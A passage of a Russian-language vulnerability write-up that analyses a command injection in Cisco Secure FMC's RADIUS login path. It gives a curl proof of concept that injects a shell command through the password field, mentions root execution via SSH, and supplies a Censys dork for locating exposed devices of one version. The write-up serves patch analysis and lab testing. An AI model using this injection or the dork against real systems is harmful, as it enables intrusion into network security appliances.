Те­перь необ­ходимо вер­нуть­ся назад и про­ана­лизи­ровать фун­кцию sfclient_User_Login из libsfclientx.so. Отсле­див аргу­мен­ты, которые переда­ются в эту фун­кцию, мы получа­ем сле­дующую цепоч­ку: sfclient_User_Login → check_auth_all → check_auth_radius → rc_auth_req → execute_radclient_command via create_av_pair → popen via snprintf. При этом popen — клас­сичес­кая фун­кция для бага command injection. Смот­рим адвай­зори — CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'). Все схо­дит­ся, перехо­дим к ана­лизу.

Анализ бага, PoC

Вот что переда­ется на вход popen через под­готов­ку с помощью snprintfecho '%s' | /usr/bin/radclient %s -xs%s%s -r %d -t %d %s:%d %s %s 2>&1, где с исполь­зовани­ем echo переда­ются отформа­тиро­ван­ные username и password. Для username в Perl-скрип­тах пре­дус­мотре­ны допол­нитель­ные про­вер­ки, этот объ­ект нам не под­ходит, а вот password — то, что нуж­но. Он никак не обра­баты­вает­ся, про­верок никаких нет, поэто­му мож­но не при­думы­вать bypass для филь­тров, а прос­то подать на вход стро­ку типа '&&touch pwnlol&&.

Ду­маю, нас­тало вре­мя перей­ти к PoC. Для это­го необ­ходимо выяс­нить, каким обра­зом мож­но про­извести аутен­тифика­цию. Дела­ется это нес­ложно: в ходе ана­лиза мы выяс­няем, что в качес­тве frontend-сер­вера, если мож­но так выразить­ся, фун­кци­они­рует Apache, который рас­пре­деля­ет зап­росы по backend-сер­висам. Один из таких сер­висов как раз веб‑сер­вер на Perl: Mojolicious. Там же про­исхо­дит про­цесс аутен­тифика­ции, авто­риза­ции и про­чего. Endpoint аутен­тифика­ции: /auth/login, для нее необ­ходим POST-зап­рос с полями username и password. Отсю­да и при­митив­ный PoC: curl -k -d "username=a&password='&&touch pwnlol&&" $URL/auth/login.

Пом­нится, я говорил, что ска­чан­ные обра­зы вир­туаль­ных машин могут быть нам полез­ны. Их вре­мя приш­ло: необ­ходимо про­тес­тировать PoC. Что каса­ется Cisco Secure FMC, то у них име­ется офи­циаль­ная инс­трук­ция, которая, к счастью, прек­расно работа­ет. На сво­ей прак­тике я опять же стал­кивал­ся с рядом проб­лем (офи­циаль­ная докумен­тация и форумы никак не помога­ют):

  • не работа­ет интерфейс serial, поэто­му всег­да при пер­вом запус­ке под­клю­чай в KVM гра­фичес­кий вывод;
  • по­доб­ные решения быва­ют весь­ма тре­бова­тель­ны к перифе­рии: нуж­но то мно­го опе­ратив­ной памяти, то watchdog, то устрой­ство SMBIOS UUID, к которо­му была бы воз­можность при­вязать лицен­зию;
  • из‑за тре­бова­ний FIPS так­же иног­да тре­буют­ся сов­ремен­ные CPU с под­дер­жкой тех или иных инс­трук­ций.

Пос­ле того как будет запуще­на вир­туаль­ная машина, веб‑дос­туп ока­жет­ся уже вклю­чен. Теперь необ­ходимо акти­виро­вать аутен­тифика­цию через RADIUS. Здесь, на удив­ление, тоже все ока­залось прос­то: вот офи­циаль­ная докумен­тация.

В ходе тес­тов на вир­туаль­ной машине мож­но выяс­нить, что уяз­вимый про­цесс запущен от поль­зовате­ля www, соот­ветс­твен­но, и все коман­ды выпол­няют­ся от него же. На самом деле здесь не проб­лема най­ти LPE, но под­робно рас­ска­зывать я об этом не буду. Кро­ме того, если про­вес­ти более глу­бокий ана­лиз, то мож­но выяс­нить, что уяз­вимая фун­кция так­же исполь­зует­ся при SSH-дос­тупе, а вот все коман­ды там будут выпол­нять­ся от root.

В качес­тве бонуса мож­но поп­робовать най­ти fingerprint для устрой­ств кон­крет­ной вер­сии, что­бы написать dork для Shodan, Censys, FOFA и подоб­ных сер­висов. Не будем углублять­ся в деб­ри, возь­мем пер­вое попав­шееся уни­каль­ное зна­чение с index-стра­ницы.

Путь / редирек­тит на /ui/login. Стра­ница login, в свою оче­редь, содер­жит хеш‑зна­чение v9186jMMtwM. Если заг­лянуть в исходни­ки bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/htdocs/templates/html_templates/login.tmpl (поиск это­го фай­ла мож­но про­извести по кон­тек­сту вок­руг хеш‑зна­чения), то там мы обна­ружим, что за генера­цию это­го самого зна­чения отве­чает фун­кция getVersion(). Выходит, это зна­чение уни­каль­ное и харак­терно для кон­крет­ной вер­сии, зна­чит, его мож­но исполь­зовать. При­мер дор­ка для Censys: web.endpoints.http.body: "v9186jMMtwM".

Ав­томати­зиро­ван­ную вер­сию PoC для про­вер­ки сво­его сер­вера мож­но най­ти на GitHub.

Итоги

Мы про­ана­лизи­рова­ли два бага с раз­ной сте­пенью кри­тич­ности, и оба ана­лиза доказа­ли, что Cisco не обма­ныва­ют в адвай­зори. Тем не менее все мы люди и совер­шаем ошиб­ки, поэто­му ты можешь выб­рать иной 1-day от Cisco или дру­гого вен­дора и про­щупать мес­та рядом с пат­чем. Мне не повез­ло, но зато вто­рой баг доказал, что если в адвай­зори заяв­лено 10.0, то это реаль­но кри­тичес­кая уяз­вимость.